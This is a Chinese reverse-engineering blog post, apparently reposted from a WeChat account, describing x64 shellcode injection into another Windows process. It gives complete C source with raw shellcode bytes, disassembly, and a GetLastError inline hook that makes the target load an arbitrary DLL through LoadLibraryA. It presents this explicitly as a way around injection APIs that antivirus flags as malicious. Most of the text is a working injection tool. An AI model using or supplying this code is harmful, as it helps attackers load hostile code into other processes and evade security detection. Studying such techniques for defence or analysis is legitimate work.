Shellcode注入

  • A+
所属分类:逆向工程


        之前几个注入都需要使用相应的API才可到达注入的目的,实际上那些API都属于比较风险的函数,经常会被认为是病毒或木马。实际上程序执行过程中总是会出现一些高频调用函数,这些函数在每个程序中或多或少都会使用到。我们完全可以直接通过写入Shellcode随后Hook这些函数来完成想要到达的效果。

 

在此之前需要优先考虑到的几个问题:

    1. Hook什么函数

    2. 怎么才能保证Hook之后仍然不影响源程序的正常执行

 

首先大概推断有以下几个函数是很常用的:

        GetLastError

        WaitForSingleObject

        BaseSetLastNTError

        CloseHandle

等。

        其次必须要保证在Shellcode执行前后的寄存器、堆栈、代码位置要保持完全一致。这样程序才能在不受干扰的情况下继续运行下去。

Shellcode通过以下结构体方法构建

typedef struct _CODE_STRUCT {  BYTE Restore[0x18]; //保存运行环境: push raxrcxrdxrbxrbpr8-15rsirdipushq  BYTE MovMemw[3]; //Mov word内存指令  UINT32 Offset;   //偏移  BYTE MovByte[2]; //数值  BYTE MovRcx[2];  //Mov Rcx指令  UINT64 Rcx;      // Rcx值  BYTE SubRsp[3];  //分配栈指令  UINT32 Sub;      //分配数量  BYTE MovRax[2];  //Mov Rax指令  UINT64 Rax;      //Rax数值  BYTE CallRax[2]; // Call rax指令  BYTE AddRsp[3];  //释放栈指令  UINT32 Add;      //释放数量  BYTE Recovery[0x18];//恢复运行环境: pop  popqrdirsir15-8rbprbxrdxrcxrax  BYTE LastErrorCode[0xd];//GetLastError代码}CODE_STRUCT, * LPCODE_STRUCT;

构造后的汇编代码:

00007FF7669AD010  push        rax  00007FF7669AD011  push        rcx  00007FF7669AD012  push        rdx  00007FF7669AD013  push        rbx  00007FF7669AD014  push        rbp  00007FF7669AD015  push        r8  00007FF7669AD017  push        r9  00007FF7669AD019  push        r10  00007FF7669AD01B  push        r11  00007FF7669AD01D  push        r12  00007FF7669AD01F  push        r13  00007FF7669AD021  push        r14  00007FF7669AD023  push        r15  00007FF7669AD025  push        rsi  00007FF7669AD026  push        rdi  00007FF7669AD027  pushfq  00007FF7669AD028  mov         word ptr [Codes (07FF7669AD010h)],5BEBh  ;将07FF7669AD010处的代码改成跳转指令,直接跳到GetLastError的代码处,防止重入等问题。00007FF7669AD031  mov         rcx,2AF7AC50700h  ;目标进程中的DLL全路径00007FF7669AD03B  sub         rsp,308h  00007FF7669AD042  mov         rax,7FFAECFC04F0h  ;LoadLibrary地址00007FF7669AD04C  call        rax  00007FF7669AD04E  add         rsp,308h  00007FF7669AD055  popfq  00007FF7669AD056  pop         rdi  00007FF7669AD057  pop         rsi  00007FF7669AD058  pop         r15  00007FF7669AD05A  pop         r14  00007FF7669AD05C  pop         r13  00007FF7669AD05E  pop         r12  00007FF7669AD060  pop         r11  00007FF7669AD062  pop         r10  00007FF7669AD064  pop         r9  00007FF7669AD066  pop         r8  00007FF7669AD068  pop         rbp  00007FF7669AD069  pop         rbx  00007FF7669AD06A  pop         rdx  00007FF7669AD06B  pop         rcx  00007FF7669AD06C  pop         rax  00007FF7669AD06D  mov         rax,qword ptr gs:[30h]  00007FF7669AD076  mov         eax,dword ptr [rax+68h]  00007FF7669AD079  ret  


需要优先将这些Shellcode写到目标进程的可读可写可执行内存中。

        首先通过VirtualAllocEx分配一块可读可写可执行的区域,将结构中rcx设置为DLL路径的内存地址,随后写入Shellcode

确保写入成功后在进行Hook 函数

HOOK这里用结构:

typedef struct _JMP_RAX {  BYTE MovRax[2];//Mov rax指令  UINT64 Rax; // rax值  BYTE JmpRax[2];//Jmp rax指令}JMP_RAX, * PJMP_RAX;

将这个代码写入GetLastError的开头,在此之前将rax改成Shellcode的地址。

随后就是等待线程去执行GetLastError函数。

 

Shellcode注入


 

完整代码:

#include <stdio.h>#include <tchar.h>#include <Windows.h>#define GLOBAL_EVENT _T("Global\Inject")#define DLL_NAME "X:\xxxx\DllInject\x64\Debug\DllInject.dll" // DLL全路径
#pragma pack(push)#pragma pack(1)typedef struct _CODE_STRUCT { BYTE Restore[0x18]; BYTE MovMemw[3]; UINT32 Offset; BYTE MovByte[2]; BYTE MovRcx[2]; UINT64 Rcx; BYTE SubRsp[3]; UINT32 Sub; BYTE MovRax[2]; UINT64 Rax; BYTE CallRax[2]; BYTE AddRsp[3]; UINT32 Add; BYTE Recovery[0x18]; BYTE LastErrorCode[0xd];}CODE_STRUCT, * LPCODE_STRUCT;
typedef struct _JMP_RAX { BYTE MovRax[2]; UINT64 Rax; BYTE JmpRax[2];}JMP_RAX, * PJMP_RAX;
#pragma pack(pop)
JMP_RAX JmpRaxHook = { {0x48,0xb8}, 0, {0xFF,0xE0}};
CODE_STRUCT Codes = { {0x50,0x51,0x52,0x53,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x56,0x57,0x9C}, //保存调用环境 {0x66,0xC7,0x05}, -0x21L, {0xeb, 0x5B},//Unhook {0x48,0xB9}, //修改Rcx {0x0}, //Rcx {0x48,0x81,0xEC}, //减少Rsp {0x308}, //Rsp {0x48,0xB8}, //修改Rax {0x0}, //Rax {0xFF,0xD0}, //Call Rax {0x48,0x81,0xC4}, //增加Rsp {0x308}, //Rsp {0x9D,0x5F,0x5E,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,0x41,0x58,0x5D,0x5B,0x5A,0x59,0x58}, //恢复调用环境 {0x65,0x48,0x8B,0x04,0x25,0x30,0x00,0x00,0x00,0x8B,0x40,0x68,0xC3}//GetLastError代码};

int main(){ DWORD dwPid; printf("输入PID:"); scanf_s("%d", &dwPid);
BOOLEAN blSuccess = FALSE; HANDLE hProc = NULL; HMODULE hKernelBase = NULL; HMODULE hKernel32 = NULL; PBYTE RemoteCode = NULL; HANDLE hLoadEvt = NULL; do{ SIZE_T dwWriteBytes; PBYTE DllName; hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwPid); if (!hProc) break;
RemoteCode = VirtualAllocEx(hProc, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!RemoteCode) break;
DllName = RemoteCode + 0x700; if (!WriteProcessMemory(hProc, DllName, DLL_NAME, sizeof(DLL_NAME), &dwWriteBytes)) break;
hKernelBase = LoadLibrary(_T("KernelBase.dll")); if (!hKernelBase) break;
PVOID lpfnGetLastError = GetProcAddress(hKernelBase, "GetLastError"); if (!lpfnGetLastError) break;
hKernel32 = LoadLibrary(_T("Kernel32.dll")); if (!hKernel32) break;
PVOID lpfnLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); if (!lpfnLoadLibraryA) break;
Codes.Rcx = (UINT64)DllName; Codes.Rax = (UINT64)lpfnLoadLibraryA; if (!WriteProcessMemory(hProc, RemoteCode, &Codes, sizeof(Codes), &dwWriteBytes)) break;
hLoadEvt = CreateEvent(NULL, FALSE, FALSE, GLOBAL_EVENT); if (!hLoadEvt) break;
JmpRaxHook.Rax = (UINT64)RemoteCode; if (!WriteProcessMemory(hProc, lpfnGetLastError, &JmpRaxHook, sizeof(JmpRaxHook), &dwWriteBytes)) break;
WaitForSingleObject(hLoadEvt, INFINITE); printf("执行成功!n"); blSuccess = TRUE; } while (FALSE);
if (!blSuccess) printf("错误:%dn", GetLastError());
if (hProc) { //if (RemoteCode) // VirtualFreeEx(hProc, RemoteCode, 0, MEM_RELEASE);
CloseHandle(hProc); } if (hKernelBase) FreeLibrary(hKernelBase);
if (hKernel32) FreeLibrary(hKernel32);
if (hLoadEvt) CloseHandle(hLoadEvt);
return 0;}


本文始发于微信公众号(锋刃科技):Shellcode注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: